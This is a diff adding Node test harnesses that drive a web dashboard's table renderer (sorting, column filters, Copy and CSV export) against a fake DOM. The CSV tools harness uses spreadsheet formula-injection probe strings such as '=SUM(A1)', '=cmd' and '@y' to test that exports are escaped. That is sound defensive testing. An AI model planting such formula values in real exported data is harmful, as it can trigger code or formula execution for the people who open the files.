+    const one = VIZ.table({ rows }, { rowsKey: "rows", columns: [{ key: "name", label: "Name" }], title: "One" });
+    out.oneHeads = ths(one).map((h) => h.textContent.replace(/[▲▼ ▾]/g, ""));
+    ths(one)[0].fire("click");
+    out.oneSorted = cellsOf(one, 0);
+    const hidden = VIZ.table({ rows }, { rowsKey: "rows", title: "Hidden", columns: [{ key: "name", label: "Name", group: "G" }, { key: "n", label: "N", group: "G" }], groups: ["G"], defaultGroups: [] });
+    out.hiddenShown = tbodyOf(hidden).children[0].children.map((c) => c.style.display);
+    out.hiddenCopy = (() => { tool(hidden, "Copy all").click(); return flush(); })();
+    await out.hiddenCopy;
+    out.hiddenCopy = clip[clip.length - 1];
+    const dot = VIZ.table({ name: "solo", n: 7 }, { rowsKey: ".", columns: [{ key: "name", label: "Name" }, { key: "n", label: "N", format: "int" }], title: "Dot" });
+    out.dotRows = cellsOf(dot, 0);
+    out.dotN = cellsOf(dot, 1);
+    const noTools = VIZ.table({ rows }, { rowsKey: "rows", columns: [{ key: "name", label: "Name" }], title: "NoTools", tools: false });
+    out.noToolsCopy = !!tool(noTools, "Copy all");
+    out.noToolsFilter = !!filterBtn(noTools, 0);
+    const noFilter = VIZ.table({ rows }, { rowsKey: "rows", columns: [{ key: "name", label: "Name" }], title: "NoFilter", filter: false });
+    out.noFilterBtn = !!filterBtn(noFilter, 0);
+    out.noFilterTools = !!tool(noFilter, "Copy all");
+    out.noFilterSort = (ths(noFilter)[0].className || "").includes("sortable");
+    const emptyCls = VIZ.table({ rows }, { rowsKey: "rows", columns: [{ key: "name", label: "Name", cellClass: () => undefined }], title: "Cls" });
+    out.cls = tbodyOf(emptyCls).children[0].children[0].className;
+  },
+};
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-grid-filter-harness.mjs b/Darling/Darling.Tests/web-grid-filter-harness.mjs
new file mode 100644
index 0000000000..3d48e1fe2a
--- /dev/null
+++ b/Darling/Darling.Tests/web-grid-filter-harness.mjs
@@ -0,0 +1,238 @@
+/* #4843: runs the shipped table renderer's column filters (wwwroot/js/panels.js) on a small fake DOM
+   and prints what a scenario did as one line of JSON. GridFilterBehaviourTests starts it as
+       node web-grid-filter-harness.mjs <path to the js folder> <scenario> */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.style = {}; this.classList = { add: (c) => { this.className = (this.className + " " + c).trim(); }, remove: (c) => { this.className = this.className.split(" ").filter((x) => x !== c).join(" "); } }; this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; this.value = ""; }
+  get parentNode() { return this.parent; }
+  closest(tag) { for (let n = this; n; n = n.parent) if (n.tag === tag) return n; return null; }
+  click() { this.fire("click", { target: this }); }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k]; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  focus() { globalThis.document.activeElement = this; this.fire("focus"); }
+  contains(n) { for (; n; n = n.parent) if (n === this) return true; return false; }
+  find(tag) { for (const c of this.children) { if (c.tag === tag) return c; const f = c.find && c.find(tag); if (f) return f; } return null; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+const body = new FakeNode("body");
+let downloads = [];
+globalThis.document = { activeElement: null, body, createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+const origCreate = URL.createObjectURL;
+URL.createObjectURL = (blob) => { downloads.push({ blob }); return "blob:fake"; };
+URL.revokeObjectURL = () => {};
+const origAppend = body.appendChild.bind(body);
+body.appendChild = (a) => { if (a.tag === "a") a.click = () => { downloads[downloads.length - 1].name = a.download; }; return origAppend(a); };
+const setNav = (v) => Object.defineProperty(globalThis, "navigator", { value: v, configurable: true, writable: true });
+globalThis.location = { hash: "#/server/a/queries" };
+
+const root = process.argv[2];
+const { VIZ } = await import(pathToFileURL(root + "/panels.js").href);
+
+const cols = [
+  { key: "name", label: "Name" },
+  { key: "a", label: "A", format: "int", group: "G1" },
+  { key: "b", label: "B", format: "int", group: "G2" },
+  { key: "tags", label: "Tags", render: (r) => { const s = new FakeText(r.tags.join(", ")); return s; }, copyValue: (r) => r.tags.join("; ") },
+];
+const rows = [
+  { name: "Alpha", a: 3, b: 30, tags: ["red", "hot"] },
+  { name: "beta", a: 1, b: 10, tags: ["blue"] },
+  { name: "ALPHA two", a: 2, b: 20, tags: ["blue", "hot"] },
+];
+const grouped = { groups: ["G1", "G2"], defaultGroups: ["G1"] };
+const build = (desc = {}, data = rows) => VIZ.table({ rows: data }, { rowsKey: "rows", columns: cols, title: "T", ...grouped, ...desc });
+const all = (n, out = []) => { out.push(n); for (const c of n.children) all(c, out); return out; };
+const ths = (w) => w.find("table").find("thead").find("tr").children;
+const tbodyOf = (w) => w.find("table").children[1];
+const filterBtn = (w, i) => ths(w)[i].children.find((c) => c.tag === "button");
+const open = (w, i) => filterBtn(w, i).click();
+const box = (w) => all(w).find((n) => n.className === "grid-filter-input");
+const type = (w, text) => { const b = box(w); b.value = text; b.fire("input"); };
+const shown = (w) => tbodyOf(w).children.filter((t) => t.style.display !== "none").map((t) => t.children[0].textContent);
+const chips = (w) => all(w).filter((n) => n.className === "grid-filter-chip").map((n) => n.textContent);
+const count = (w) => (all(w).find((n) => n.className === "grid-filter-count") || { textContent: "" }).textContent;
+const button = (w, cls) => all(w).find((n) => n.className === cls || (n.className || "").includes(cls));
+const out = {};
+const flush = () => new Promise((r) => setTimeout(r, 0));
+const tool = (w, label) => all(w).find((n) => n.tag === "button" && n.textContent === label);
+const clip = [];
+Object.defineProperty(globalThis, "navigator", { value: { clipboard: { writeText: async (t) => { clip.push(t); } } }, configurable: true, writable: true });
+const csvText = async () => { const d = downloads[downloads.length - 1]; return d ? await d.blob.text() : null; };
+
+const scenarios = {
+  narrows() {
+    globalThis.location = { hash: "#/server/a/narrow" };
+    const w = build();
+    out.before = shown(w);
+    out.hasButtons = [0, 1, 2, 3].map((i) => !!filterBtn(w, i));
+    open(w, 0); type(w, "ALPHA");
+    out.after = shown(w);
+    out.count = count(w);
+    out.chips = chips(w);
+    out.headText = ths(w).map((t) => t.textContent.replace(/[▲▼ ]/g, ""));
+    out.pressed = filterBtn(w, 0).getAttribute("aria-pressed");
+  },
+  listAndFormatted() {
+    globalThis.location = { hash: "#/server/a/list" };
+    const w = build();
+    open(w, 3); type(w, "HOT");
+    out.list = shown(w);
+    type(w, "blue, hot");
+    out.listExact = shown(w);
+    const w2 = (globalThis.location = { hash: "#/server/a/fmt" }, build({}, [{ name: "n", a: 1234, b: 1, tags: [] }, { name: "m", a: 5, b: 1, tags: [] }]));
+    open(w2, 1); type(w2, "1,234");
+    out.formatted = shown(w2);
+  },
+  ands() {
+    globalThis.location = { hash: "#/server/a/and" };
+    const w = build();
+    open(w, 0); type(w, "alpha");
+    open(w, 3); type(w, "red");
+    out.both = shown(w);
+    out.chips = chips(w);
+    out.count = count(w);
+  },
+  repaint() {
+    globalThis.location = { hash: "#/server/a/repaint" };
+    const w = build();
+    open(w, 0); type(w, "beta");
+    const w2 = build();
+    out.rebuilt = shown(w2);
+    out.count = count(w2);
+    out.boxValue = box(w2) ? box(w2).value : null;
+    out.boxLabel = box(w2) ? box(w2).attrs["aria-label"] : null;
+    globalThis.location = { hash: "#/server/b/repaint" };
+    const other = build();
+    out.otherServer = shown(other);
+    out.otherBox = !!box(other);
+    out.otherCount = count(other);
+    globalThis.location = { hash: "#/server/a/repaint" };
+    out.backToA = shown(build());
+  },
+  async escape() {
+    globalThis.location = { hash: "#/server/a/esc" };
+    const w = build();
+    open(w, 0);
+    out.openFocus = document.activeElement === box(w);
+    const panel = box(w).parent;
+    panel.fire("keydown", { key: "Escape" });
+    out.closed = !box(w);
+    out.refocus = document.activeElement === filterBtn(w, 0);
+    open(w, 0);
+    out.reopened = !!box(w);
+    open(w, 0);
+    out.toggledClosed = !box(w);
+    out.sortStateUntouched = ths(w)[0].getAttribute("aria-sort");
+  },
+  async exportFiltered() {
+    globalThis.location = { hash: "#/server/a/export" };
+    const w = build();
+    ths(w)[0].fire("click"); // sort Name ascending: Alpha, ALPHA two, beta
+    open(w, 3); type(w, "hot");
+    out.shown = shown(w);
+    tool(w, "Copy all").click(); await flush();
+    out.copy = clip[clip.length - 1];
+    tool(w, "Export CSV").click();
+    out.csv = await csvText();
+    out.status = all(w).find((n) => n.className === "grid-tools-status").textContent;
+  },
+  async clearing() {
+    globalThis.location = { hash: "#/server/a/clear" };
+    const w = build();
+    open(w, 0); type(w, "alpha");
+    open(w, 3); type(w, "red");
+    const x = all(w).filter((n) => n.className === "grid-filter-x")[0];
+    x.click();
+    out.afterOne = shown(w);
+    out.chipsAfterOne = chips(w);
+    out.boxAfterOne = box(w) ? box(w).value : null;
+    open(w, 0); type(w, "alpha");
+    button(w, "grid-filter-clear-all").click();
+    out.afterAll = shown(w);
+    out.countAfterAll = count(w);
+    out.chipsAfterAll = chips(w);
+    const w2 = build();
+    out.rebuiltAfterAll = shown(w2);
+    out.openSurvivedClearAll = !!box(w2);
+    type(w2, "beta");
+    out.typedAfterRebuild = shown(w2);
+    button(w2, "grid-filter-clear").click();
+    out.afterBoxClear = shown(w2);
+  },
+  operators() {
+    const ocols = [
+      { key: "name", label: "Name" },
+      { key: "cpu", label: "CPU", format: "int" },
+      { key: "pct", label: "Pct", format: "pct" },
+      { key: "seen", label: "Seen", format: "time" },
+    ];
+    const orows = [
+      { name: "alpha", cpu: 1000, pct: 12.5, seen: "2026-01-02T03:04:05Z" },
+      { name: "beta", cpu: 950, pct: 0, seen: null },
+      { name: "gamma", cpu: 0, pct: null, seen: "2026-01-03T00:00:00Z" },
+      { name: "", cpu: null, pct: 99, seen: "" },
+      { name: "-", cpu: 90, pct: 100, seen: "2026-01-04T00:00:00Z" },
+    ];
+    let n = 0;
+    const g = () => { globalThis.location = { hash: "#/server/a/ops" + n++ }; return build({ columns: ocols, groups: undefined, defaultGroups: undefined }, orows); };
+    const pick = (w, i, op, text) => { open(w, i); const sel = all(w).find((x) => x.className === "grid-filter-op"); sel.value = op; sel.fire("change"); if (text !== undefined) type(w, text); return shown(w); };
+    const names = (w) => tbodyOf(w).children.filter((t) => t.style.display !== "none").map((t) => t.children[0].textContent);
+    const run = (i, op, text) => { const w = g(); pick(w, i, op, text); return names(w); };
+    out.cpuOps = all(((w) => { open(w, 1); return w; })(g())).find((x) => x.className === "grid-filter-op").children.map((o) => o.textContent);
+    out.nameOps = all(((w) => { open(w, 0); return w; })(g())).find((x) => x.className === "grid-filter-op").children.map((o) => o.textContent);
+    out.timeOps = all(((w) => { open(w, 3); return w; })(g())).find((x) => x.className === "grid-filter-op").children.map((o) => o.textContent);
+    out.defaultContains = (() => { const w = g(); open(w, 1); type(w, "1,0"); return names(w); })();
+    out.noPick = (() => { const w = g(); open(w, 0); return !!all(w).find((x) => x.className === "grid-filter-input"); })();
+    out.gt900 = run(1, "gt", "900");
+    out.gt1000 = run(1, "gt", "1,000");
+    out.gte1000 = run(1, "gte", "1000");
+    out.lt950 = run(1, "lt", "950");
+    out.lte950 = run(1, "lte", "950");
+    out.eq1000 = run(1, "equals", "1000");
+    out.ne1000 = run(1, "notEquals", "1000");
+    out.pctGt50 = run(2, "gt", "50%");
+    out.textGtNotNumber = run(1, "gt", "abc");
+    out.eqAlpha = run(0, "equals", "ALPHA");
+    out.eqList = run(0, "equals", "alpha, beta");
+    out.neList = run(0, "notEquals", "alpha, beta");
+    out.starts = run(0, "startsWith", "AL");
+    out.ends = run(0, "endsWith", "ta");
+    out.nameEmpty = run(0, "isEmpty");
+    out.nameNotEmpty = run(0, "isNotEmpty");
+    out.cpuEmpty = run(1, "isEmpty");
+    out.cpuNotEmpty = run(1, "isNotEmpty");
+    out.pctEmpty = run(2, "isEmpty");
+    out.seenEmpty = run(3, "isEmpty");
+    out.seenNotEmpty = run(3, "isNotEmpty");
+    const w = g(); pick(w, 1, "gt", "900");
+    out.chip = chips(w);
+    const w2 = (globalThis.location = { hash: globalThis.location.hash }, build({ columns: ocols, groups: undefined, defaultGroups: undefined }, orows));
+    out.rebuilt = names(w2);
+    out.rebuiltOp = all(w2).find((x) => x.className === "grid-filter-op").value;
+    const w3 = g(); pick(w3, 1, "isEmpty");
+    out.emptyChip = chips(w3);
+    out.emptyBoxHidden = all(w3).find((x) => x.className === "grid-filter-input").style.display;
+  },
+  plain() {
+    globalThis.location = { hash: "#/server/a/plain" };
+    const w = build({ filter: false });
+    out.noButtons = !filterBtn(w, 0);
+    const c2 = cols.map((c, i) => (i === 1 ? { ...c, filter: false } : c));
+    const w2 = build({ columns: c2 });
+    out.perColumn = [0, 1, 2, 3].map((i) => !!filterBtn(w2, i));
+    const w3 = build({ columns: [{ key: "name", label: "", copy: false }, ...cols.slice(1)] });
+    out.controlColumn = !!filterBtn(w3, 0);
+    out.heads = shown(build());
+  },
+};
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-grid-sort-harness.mjs b/Darling/Darling.Tests/web-grid-sort-harness.mjs
new file mode 100644
index 0000000000..c0c0b857b7
--- /dev/null
+++ b/Darling/Darling.Tests/web-grid-sort-harness.mjs
@@ -0,0 +1,138 @@
+/* #4843: runs the web dashboard's real shared table renderer (wwwroot/js/panels.js, VIZ.table) on a small fake DOM and
+   prints what a scenario drew as one line of JSON. GridSortBehaviourTests starts it as
+       node web-grid-sort-harness.mjs <path to the js folder> <scenario>
+   Only the DOM is a stand-in; panels.js and util.js are the shipped modules. */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k]; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  find(tag) { for (const c of this.children) { if (c.tag === tag) return c; const f = c.find && c.find(tag); if (f) return f; } return null; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+globalThis.document = { createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+globalThis.location = { hash: "#/server/a/queries" };
+
+const root = process.argv[2];
+const { VIZ, reapplyGridSort, gridRowOf } = await import(pathToFileURL(root + "/panels.js").href);
+
+const cols = [
+  { key: "name", label: "Name" },
+  { key: "n", label: "N", format: "int" },
+  { key: "t", label: "When", format: "time" },
+  { key: "locked", label: "Fixed", format: "int", sortable: false },
+];
+const rows = [
+  { name: "beta", n: 10, t: "2026-01-02T00:00:00Z", locked: 1 },
+  { name: "Alpha", n: 9, t: "2026-01-10T00:00:00Z", locked: 2 },
+  { name: null, n: null, t: null, locked: 3 },
+  { name: "alpha", n: 100, t: "2026-01-03T00:00:00Z", locked: 4 },
+  { name: "", n: 2, t: "2026-01-01T00:00:00Z", locked: 5 },
+];
+const build = (desc = {}) => VIZ.table({ rows }, { rowsKey: "rows", columns: cols, title: "T1", ...desc });
+const ths = (w) => w.find("table").find("thead").find("tr").children;
+const bodyCol = (w, i) => w.find("table").children[1].children.map((tr) => tr.children[i].textContent);
+const click = (w, i) => ths(w)[i].fire("click");
+const out = {};
+
+const scenarios = {
+  cycle() {
+    const w = build();
+    out.initial = bodyCol(w, 1);
+    click(w, 1); out.asc = bodyCol(w, 1); out.ascSort = ths(w)[1].getAttribute("aria-sort"); out.ascInd = ths(w)[1].children[1].textContent;
+    click(w, 1); out.desc = bodyCol(w, 1); out.descSort = ths(w)[1].getAttribute("aria-sort"); out.descInd = ths(w)[1].children[1].textContent;
+    click(w, 1); out.back = bodyCol(w, 1); out.backSort = ths(w)[1].getAttribute("aria-sort");
+    out.tabindex = ths(w)[1].getAttribute("tabindex");
+  },
+  text() {
+    const w = build();
+    click(w, 0); out.asc = bodyCol(w, 3); // Fixed column carries the original index (1-based) as a stable identity
+    click(w, 0); out.desc = bodyCol(w, 3);
+  },
+  time() {
+    const w = build();
+    click(w, 2); out.asc = bodyCol(w, 3);
+    click(w, 2); out.desc = bodyCol(w, 3);
+  },
+  keyboard() {
+    const w = build();
+    ths(w)[1].fire("keydown", { key: "Enter" }); out.enter = bodyCol(w, 1);
+    ths(w)[1].fire("keydown", { key: " " }); out.space = bodyCol(w, 1);
+    ths(w)[1].fire("keydown", { key: "x" }); out.other = bodyCol(w, 1);
+  },
+  rebuild() {
+    const w = build(); click(w, 1); click(w, 1);
+    const again = build();
+    out.sameKey = bodyCol(again, 1); out.sameKeySort = ths(again)[1].getAttribute("aria-sort");
+    const other = build({ title: "T2" });
+    out.otherKey = bodyCol(other, 1);
+    location.hash = "#/server/b/queries";
+    out.otherRoute = bodyCol(build(), 1);
+    location.hash = "#/server/a/queries?x=1";
+    out.sameRouteWithQuery = bodyCol(build(), 1);
+  },
+  /* Alert History's shape: the body is reconciled in place into the server's order, then the sort is re-applied. */
+  reapply() {
+    const w = build(); click(w, 1); // ascending by N
+    const tbody = w.find("table").children[1];
+    out.rowsOf = tbody.children.map((tr) => gridRowOf(tr).name);
+    const mk = (row) => { const t = VIZ.table({ rows: [row] }, { rowsKey: "rows", columns: cols, title: "T9" }); return t.find("table").children[1].children[0]; };
+    // the server now sends the new row (n=50) first; the reconcile puts every tr back in that order
+    const fresh = mk({ name: "gamma", n: 50, t: null, locked: 6 });
+    const trs = [...tbody.children];
+    for (const tr of [fresh, ...trs]) tbody.appendChild(tr);
+    out.serverOrder = bodyCol(w, 1);
+    reapplyGridSort(tbody);
+    out.sorted = bodyCol(w, 1);
+    out.freshRow = gridRowOf(fresh).name;
+    click(w, 1); click(w, 1); // desc, then cleared
+    out.cleared = bodyCol(w, 1);
+    reapplyGridSort(tbody);
+    out.clearedAfterReapply = bodyCol(w, 1);
+    reapplyGridSort({}); // not a grid: ignored
+  },
+  /* sortValue wins over a text-typed key; object-valued and later-filled columns decide per the rows. */
+  columns() {
+    const c2 = [
+      { key: "size_text", label: "Size", align: "right", sortValue: (r) => r.size },
+      { key: "max", label: "Max", align: "right", sortValue: (r) => (r.max === -1 ? Infinity : r.max), render: (r) => new FakeText(String(r.max)) },
+      { key: "list", label: "List" },
+      { key: "later", label: "Later" },
+    ];
+    const rs = [
+      { size_text: "1,234.500", size: 1234.5, max: 5, list: ["a"], later: null },
+      { size_text: "99.000", size: 99, max: -1, list: ["b"], later: null },
+      { size_text: "2,000.000", size: 2000, max: 10, list: { x: 1 }, later: null },
+    ];
+    const w = VIZ.table({ rows: rs }, { rowsKey: "rows", columns: c2.filter((c) => c.key !== "max"), title: "C1" });
+    out.cls = ths(w).map((t) => t.className);
+    click(w, 0); out.sizeAsc = bodyCol(w, 0);
+    const m = VIZ.table({ rows: rs }, { rowsKey: "rows", columns: [c2[1], c2[0]], title: "C2" });
+    click(m, 0); click(m, 0); out.maxDesc = bodyCol(m, 1);
+    // a column empty on the first mount becomes sortable once the reconciled rows carry values
+    const first = VIZ.table({ rows: [{ later: null, k: 1 }, { later: null, k: 2 }] }, { rowsKey: "rows", columns: [{ key: "k", label: "K", format: "int" }, { key: "later", label: "Later" }], title: "C3" });
+    out.laterBefore = ths(first)[1].className;
+    const tb = first.find("table").children[1];
+    tb.children.forEach((tr, i) => { gridRowOf(tr).later = i === 0 ? "zeta" : "alpha"; });
+    reapplyGridSort(tb);
+    out.laterAfter = ths(first)[1].className;
+    click(first, 1);
+    out.laterSorted = first.find("table").children[1].children.map((tr) => gridRowOf(tr).later);
+  },
+  optOut() {
+    const w = build(); out.fixedCls = ths(w)[3].className; out.fixedTab = ths(w)[3].getAttribute("tabindex") ?? null;
+    const off = build({ sortable: false });
+    out.offCls = ths(off).map((t) => t.className);
+  },
+};
+scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-grid-tools-harness.mjs b/Darling/Darling.Tests/web-grid-tools-harness.mjs
new file mode 100644
index 0000000000..357da0cb1f
--- /dev/null
+++ b/Darling/Darling.Tests/web-grid-tools-harness.mjs
@@ -0,0 +1,156 @@
+/* #4843: runs the shipped table renderer's Copy and CSV tools (wwwroot/js/panels.js with grid-tools.js) on a small fake DOM
+   and prints what a scenario did as one line of JSON. GridToolsBehaviourTests starts it as
+       node web-grid-tools-harness.mjs <path to the js folder> <scenario>
+   Only the DOM is a stand-in; panels.js and util.js are the shipped modules. */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.style = {}; this.classList = { add: (c) => { this.className = (this.className + " " + c).trim(); }, remove: (c) => { this.className = this.className.split(" ").filter((x) => x !== c).join(" "); } }; this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; }
+  get parentNode() { return this.parent; }
+  closest(tag) { for (let n = this; n; n = n.parent) if (n.tag === tag) return n; return null; }
+  click() { this.fire("click", { target: this }); }
+  get firstChild() { return this.children[0] || null; }
+  get textContent() { return this._text + this.children.map((c) => c.textContent).join(""); }
+  set textContent(v) { this._text = String(v); this.children = []; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k]; }
+  appendChild(c) { if (c.parent) c.parent.children = c.parent.children.filter((x) => x !== c); c.parent = this; this.children.push(c); return c; }
+  removeChild(c) { this.children = this.children.filter((x) => x !== c); c.parent = null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  fire(t, e = {}) { for (const fn of this.listeners[t] || []) fn({ preventDefault() {}, ...e }); }
+  find(tag) { for (const c of this.children) { if (c.tag === tag) return c; const f = c.find && c.find(tag); if (f) return f; } return null; }
+}
+class FakeText extends FakeNode { constructor(t) { super("#text"); this._text = t; } }
+globalThis.Node = FakeNode;
+const body = new FakeNode("body");
+let downloads = [];
+globalThis.document = { body, createElement: (t) => new FakeNode(t), createTextNode: (t) => new FakeText(t) };
+const origCreate = URL.createObjectURL;
+URL.createObjectURL = (blob) => { downloads.push({ blob }); return "blob:fake"; };
+URL.revokeObjectURL = () => {};
+const origAppend = body.appendChild.bind(body);
+body.appendChild = (a) => { if (a.tag === "a") a.click = () => { downloads[downloads.length - 1].name = a.download; }; return origAppend(a); };
+const setNav = (v) => Object.defineProperty(globalThis, "navigator", { value: v, configurable: true, writable: true });
+globalThis.location = { hash: "#/server/a/queries" };
+
+const root = process.argv[2];
+const { VIZ } = await import(pathToFileURL(root + "/panels.js").href);
+const tools = await import(pathToFileURL(root + "/grid-tools.js").href);
+
+const cols = [
+  { key: "name", label: "Name" },
+  { key: "n", label: "N", format: "int" },
+  { key: "t", label: "When", format: "time" },
+  { key: "tags", label: "Tags" },
+];
+const rows = [
+  { name: "b, \"quoted\"\nline", n: 1234567, t: "2026-01-02T03:04:05Z", tags: ["x"] },
+  { name: "=SUM(A1)", n: 5, t: "2026-01-01T00:00:00Z", tags: ["y"] },
+  { name: "naïve — 日本", n: -3, t: null, tags: [] },
+  { name: "-cmd", n: 40, t: "2026-01-03T00:00:00Z", tags: [] },
+];
+const build = (desc = {}) => VIZ.table({ rows }, { rowsKey: "rows", columns: cols, title: "Slow Queries", ...desc });
+const strip = (w) => w.children[0];
+const btn = (w, label) => strip(w).children.find((c) => c.textContent === label);
+const status = (w) => strip(w).children.find((c) => c.className === "grid-tools-status").textContent;
+const tbodyOf = (w) => w.find("table").children[1];
+const ths = (w) => w.find("table").find("thead").find("tr").children;
+const out = {};
+const csvOf = async () => { const d = downloads[downloads.length - 1]; out.fileName = d.name; return (await d.blob.text()).replace(/^\uFEFF/, ""); };
+const flush = () => new Promise((r) => setTimeout(r, 0));
+
+const scenarios = {
+  async csv() {
+    const w = build();
+    btn(w, "Export CSV").click();
+    out.csv = await csvOf();
+    out.status = status(w);
+  },
+  async csvSorted() {
+    const w = build();
+    ths(w)[1].fire("click"); // N ascending: -3, 5, 40, 1234567
+    btn(w, "Export CSV").click();
+    out.csv = await csvOf();
+    ths(w)[1].fire("click"); // descending
+    btn(w, "Export CSV").click();
+    out.csvDesc = await csvOf();
+  },
+  async copy() {
+    const texts = [];
+    setNav({ clipboard: { writeText: async (t) => { texts.push(t); } } });
+    const w = build();
+    ths(w)[1].fire("click"); // sorted ascending, so Copy all must follow it
+    btn(w, "Copy cell").click(); await flush();
+    out.beforePick = status(w);
+    const tb = tbodyOf(w);
+    tb.children[1].children[1].fire("click", { target: tb.children[1].children[1] }); // second row after sort: N = 5
+    tb.fire("click", { target: tb.children[1].children[1] });
+    btn(w, "Copy cell").click(); await flush();
+    btn(w, "Copy row").click(); await flush();
+    btn(w, "Copy all").click(); await flush();
+    out.texts = texts;
+    out.status = status(w);
+  },
+  async noClipboard() {
+    setNav({});
+    const w = build();
+    const tb = tbodyOf(w);
+    tb.fire("click", { target: tb.children[0].children[0] });
+    btn(w, "Copy all").click(); await flush();
+    out.all = status(w);
+    btn(w, "Copy cell").click(); await flush();
+    out.cell = status(w);
+    setNav({ clipboard: { writeText: async () => { throw new Error("denied"); } } });
+    btn(w, "Copy row").click(); await flush();
+    out.denied = status(w);
+  },
+  async hook() {
+    const seen = [];
+    const w = build({ onRow: (row, tr) => { seen.push(row.n); tr.setAttribute("data-n", String(row.n)); }, rowClass: (row) => (row.n > 100 ? "hot" : null) });
+    out.seen = seen;
+    out.attrs = tbodyOf(w).children.map((tr) => tr.getAttribute("data-n"));
+    out.classes = tbodyOf(w).children.map((tr) => tr.className);
+    const s = build({ rowClass: "flag", tools: false });
+    out.stringClass = tbodyOf(s).children.map((tr) => tr.className);
+    out.noTools = s.tag; // the bare table-wrap, no strip
+  },
+  async columnOptions() {
+    setNav({ clipboard: { writeText: async (t) => { texts.push(t); } } });
+    const texts = [];
+    const drows = [{ id: "a", summary: "short…", full: "line one\nline two", link: "x" }, { id: "b", summary: "s2", full: "=cmd", link: "y" }];
+    const dcols = [
+      { key: "id", label: "Id" },
+      { key: "summary", label: "Detail", copyValue: (r) => r.full },
+      { key: "link", label: "Open", csv: false, render: (r) => document.createTextNode("Open " + r.link) },
+    ];
+    const w = VIZ.table({ rows: drows }, { rowsKey: "rows", columns: dcols, title: "Opts" });
+    btn(w, "Export CSV").click();
+    out.csv = await csvOf();
+    const tb = tbodyOf(w);
+    tb.fire("click", { target: tb.children[0].children[1] });
+    btn(w, "Copy cell").click(); await flush();
+    btn(w, "Copy row").click(); await flush();
+    out.texts = texts;
+  },
+  async pickSurvivesRebuild() {
+    const texts = [];
+    setNav({ clipboard: { writeText: async (t) => { texts.push(t); } } });
+    const w1 = build();
+    const tb1 = tbodyOf(w1);
+    tb1.fire("click", { target: tb1.children[1].children[1] }); // N = 5
+    const w2 = build(); // the 60 s repaint: a new table over the same rows
+    out.marked = tbodyOf(w2).children[1].children[1].className;
+    btn(w2, "Copy cell").click(); await flush();
+    const gone = VIZ.table({ rows: rows.slice(2) }, { rowsKey: "rows", columns: cols, title: "Slow Queries" });
+    btn(gone, "Copy cell").click(); await flush();
+    out.texts = texts;
+    out.goneStatus = status(gone);
+  },
+  async helpers() {
+    out.field = [tools.csvField("a,b"), tools.csvField('q"q'), tools.csvField("=1+1"), tools.csvField("+x"), tools.csvField("@y"), tools.csvField(-5), tools.csvField("-5"), tools.csvField("+3.5e-2"), tools.csvField("-5x"), tools.csvField(null), tools.csvField("plain")];
+    out.name = tools.csvFileName("Wait Stats / Top 10!", new Date("2026-01-05T14:30:07Z"));
+    out.nameEmpty = tools.csvFileName("", new Date("2026-01-05T14:30:07Z"));
+  },
+};
+await scenarios[process.argv[3]]();
+console.log(JSON.stringify(out));
diff --git a/Darling/Darling.Tests/web-grid-value-filter-harness.mjs b/Darling/Darling.Tests/web-grid-value-filter-harness.mjs
new file mode 100644
index 0000000000..53c9d3e8d9
--- /dev/null
+++ b/Darling/Darling.Tests/web-grid-value-filter-harness.mjs
@@ -0,0 +1,560 @@
+/* #5565: runs the shipped table renderer's value-list column filter (wwwroot/js/panels.js) on a small fake DOM and a fake
+   localStorage, and prints what a scenario did as one line of JSON. GridValueFilterBehaviourTests starts it as
+       node web-grid-value-filter-harness.mjs <path to the js folder> <scenario> [<fixture file> <case id>] */
+import { pathToFileURL } from "node:url";
+
+class FakeNode {
+  constructor(tag) { this.style = {}; this.classList = { add: (c) => { this.className = (this.className + " " + c).trim(); }, remove: (c) => { this.className = this.className.split(" ").filter((x) => x !== c).join(" "); } }; this.tag = tag; this.children = []; this.attrs = {}; this.listeners = {}; this.parent = null; this._text = ""; this.className = ""; this.value = ""; }
+  get parentNode() { return this.parent; }
+  closest(tag) { for (let n = this; n; n = n.parent) if (n.tag === tag) return n; return null; }
+  click() { this.fire("click", { target: this }); }
+  get firstChild() { return this.children[0] || null; }
